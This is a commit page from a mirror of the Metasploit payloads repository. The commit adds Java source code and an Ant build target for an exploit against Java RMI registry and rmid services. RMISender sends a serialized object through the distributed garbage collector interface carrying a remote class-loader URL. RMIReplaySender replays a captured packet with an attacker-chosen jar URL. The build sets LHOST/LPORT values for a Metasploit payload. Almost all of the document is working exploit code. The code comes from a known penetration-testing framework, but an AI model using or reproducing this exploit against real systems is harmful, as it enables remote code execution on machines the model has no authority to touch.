mirror of
https://github.com/rapid7/metasploit-payloads
synced 2024-11-20 14:39:22 +01:00
add an exploit for java's rmid and rmiregistry code-execution-by-design and supporting source. fixes #4378, thanks mihi!
git-svn-id: file:///home/svn/framework3/trunk@13185 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
parent
4b6920a125
commit
532467706d
@ -65,13 +65,44 @@
|
||||
</jar>
|
||||
<delete file="build/metasploit.dat"/>
|
||||
</target>
|
||||
|
||||
<target name="buildrmi" depends="compile">
|
||||
<!-- build dummy jar used for capturing communication and for testing -->
|
||||
<propertyfile file="build/metasploit.dat">
|
||||
<entry key="LPORT" value="4444" />
|
||||
<entry key="LHOST" value="127.0.0.1" />
|
||||
</propertyfile>
|
||||
<jar destfile="rmidummy.jar">
|
||||
<manifest>
|
||||
<attribute name="Main-Class" value="metasploit.Payload"/>
|
||||
</manifest>
|
||||
<fileset dir="build">
|
||||
<include name="metasploit/RMILoader.class"/>
|
||||
<include name="metasploit/RMIPayload.class"/>
|
||||
<include name="metasploit/Payload.class"/>
|
||||
<include name="metasploit.dat"/>
|
||||
</fileset>
|
||||
</jar>
|
||||
|
||||
<!-- rename local metasploit/RMILoader.class to ensure a classloader URL will be serialized -->
|
||||
<move file="build/metasploit/RMILoader.class" tofile="build/metasploit/RMILoader.class.tmp" />
|
||||
|
||||
<!-- run the capture server -->
|
||||
<java classpath="build" classname="rmi.RMICaptureServer" />
|
||||
|
||||
<!-- rename back -->
|
||||
<move file="build/metasploit/RMILoader.class.tmp" tofile="build/metasploit/RMILoader.class" />
|
||||
</target>
|
||||
|
||||
<target name="deploy" depends="compile">
|
||||
<target name="deploy" depends="compile,buildrmi">
|
||||
<copy todir="../../../data/java">
|
||||
<fileset dir="build">
|
||||
<exclude name="javapayload/stage/JSh*.class" />
|
||||
<exclude name="javapayload/stage/SendParameters.class" />
|
||||
<exclude name="javapayload/stage/SystemInfo.class" />
|
||||
<exclude name="javapayload/stage/SystemInfo.class" />
|
||||
<exclude name="metasploit/PayloadApplet.class" />
|
||||
<exclude name="rmi/**" />
|
||||
<exclude name="metasploit.dat" />
|
||||
</fileset>
|
||||
</copy>
|
||||
</target>
|
||||
|
62
java/src/rmi/RMICaptureServer.java
Normal file
62
java/src/rmi/RMICaptureServer.java
Normal file
@ -0,0 +1,62 @@
|
||||
package rmi;
|
||||
|
||||
import java.io.DataInputStream;
|
||||
import java.io.DataOutputStream;
|
||||
import java.io.FileOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.InterruptedIOException;
|
||||
import java.net.ServerSocket;
|
||||
import java.net.Socket;
|
||||
import java.rmi.UnmarshalException;
|
||||
|
||||
public class RMICaptureServer {
|
||||
|
||||
// http://download.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html
|
||||
|
||||
public static void main(String[] args) throws Exception {
|
||||
FileOutputStream fos = new FileOutputStream("build/rmipacket");
|
||||
ServerSocket ss = new ServerSocket(11099);
|
||||
Thread t = new Thread(new Runnable() {
|
||||
public void run() {
|
||||
try {
|
||||
RMISender.main(new String[] {"file:./rmidummy.jar", "localhost", "11099"});
|
||||
} catch (UnmarshalException ex) {
|
||||
// expected
|
||||
} catch (Exception ex) {
|
||||
ex.printStackTrace();
|
||||
}
|
||||
}
|
||||
});
|
||||
t.setDaemon(true);
|
||||
t.start();
|
||||
Socket s = ss.accept();
|
||||
ss.close();
|
||||
DataInputStream in = new DataInputStream(s.getInputStream());
|
||||
DataOutputStream out = new DataOutputStream(s.getOutputStream());
|
||||
|
||||
byte[] hdr = new byte[7];
|
||||
in.readFully(hdr);
|
||||
if (!new String(hdr, "ISO-8859-1").equals("JRMI\0\2K"))
|
||||
throw new IOException("Unsupported RMI header");
|
||||
|
||||
out.write('N');
|
||||
out.writeUTF("127.0.0.1");
|
||||
out.writeInt(11099);
|
||||
out.flush();
|
||||
|
||||
in.readUTF();
|
||||
in.readInt();
|
||||
|
||||
s.setSoTimeout(1000);
|
||||
try {
|
||||
byte[] buf = new byte[4096];
|
||||
int len;
|
||||
while ((len = in.read(buf)) != -1) {
|
||||
fos.write(buf, 0, len);
|
||||
}
|
||||
} catch (InterruptedIOException ex) {
|
||||
// we are done
|
||||
}
|
||||
fos.close();
|
||||
}
|
||||
}
|
37
java/src/rmi/RMIReplaySender.java
Normal file
37
java/src/rmi/RMIReplaySender.java
Normal file
@ -0,0 +1,37 @@
|
||||
package rmi;
|
||||
|
||||
import java.io.DataInputStream;
|
||||
import java.io.File;
|
||||
import java.io.FileInputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.net.Socket;
|
||||
|
||||
public class RMIReplaySender {
|
||||
|
||||
// http://download.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html
|
||||
|
||||
public static void main(String[] args) throws Exception {
|
||||
File rmipacket = new File("build/rmipacket");
|
||||
System.out.println(rmipacket.length());
|
||||
DataInputStream in = new DataInputStream(new FileInputStream(rmipacket));
|
||||
byte[] packetBytes = new byte[(int)rmipacket.length()];
|
||||
in.readFully(packetBytes);
|
||||
in.close();
|
||||
|
||||
String url = args[0];
|
||||
String dummyURL = "file:./rmidummy.jar";
|
||||
|
||||
String packetStr = new String(packetBytes, "ISO-8859-1");
|
||||
int pos = packetStr.indexOf((char)0+""+(char)dummyURL.length() + dummyURL);
|
||||
packetStr = packetStr.substring(0, pos+1) + (char)url.length() + url + packetStr.substring(pos + 2 + dummyURL.length());
|
||||
packetBytes = packetStr.getBytes("ISO-8859-1");
|
||||
|
||||
Socket s = new Socket(args[1],Integer.parseInt(args[2]));
|
||||
OutputStream out = s.getOutputStream();
|
||||
out.write("JRMI\0\2K\0\0\0\0\0\0".getBytes("ISO-8859-1"));
|
||||
out.write(packetBytes);
|
||||
out.flush();
|
||||
Thread.sleep(500);
|
||||
s.close();
|
||||
}
|
||||
}
|
36
java/src/rmi/RMISender.java
Normal file
36
java/src/rmi/RMISender.java
Normal file
@ -0,0 +1,36 @@
|
||||
package rmi;
|
||||
|
||||
import java.io.ObjectOutput;
|
||||
import java.lang.reflect.Field;
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
import java.rmi.server.ObjID;
|
||||
import java.rmi.server.Operation;
|
||||
import java.rmi.server.RemoteCall;
|
||||
|
||||
import sun.rmi.server.UnicastRef2;
|
||||
import sun.rmi.transport.DGCImpl_Stub;
|
||||
import sun.rmi.transport.Endpoint;
|
||||
import sun.rmi.transport.LiveRef;
|
||||
import sun.rmi.transport.tcp.TCPEndpoint;
|
||||
|
||||
public class RMISender {
|
||||
|
||||
public static void main(String[] args) throws Exception {
|
||||
Endpoint endpoint = new TCPEndpoint(args[1], Integer.parseInt(args[2]));
|
||||
URLClassLoader ucl = new URLClassLoader(new URL[] {new URL(args[0])});
|
||||
Object loader = ucl.loadClass("metasploit.RMILoader").newInstance();
|
||||
UnicastRef2 ref = new UnicastRef2(new LiveRef(new ObjID(ObjID.DGC_ID), endpoint, false));
|
||||
DGCImpl_Stub stub = new DGCImpl_Stub(ref);
|
||||
Field f = stub.getClass().getDeclaredField("operations");;
|
||||
f.setAccessible(true);
|
||||
RemoteCall remotecall = ref.newCall(stub, (Operation[])f.get(stub), 0, 0xf6b6898d8bf28643L);
|
||||
ObjectOutput objectoutput = remotecall.getOutputStream();
|
||||
objectoutput.writeObject(new ObjID[0]);
|
||||
objectoutput.writeLong(0);
|
||||
objectoutput.writeObject(loader);
|
||||
objectoutput.writeBoolean(false);
|
||||
ref.invoke(remotecall);
|
||||
ref.done(remotecall);
|
||||
}
|
||||
}
|
Loading…
Reference in New Issue
Block a user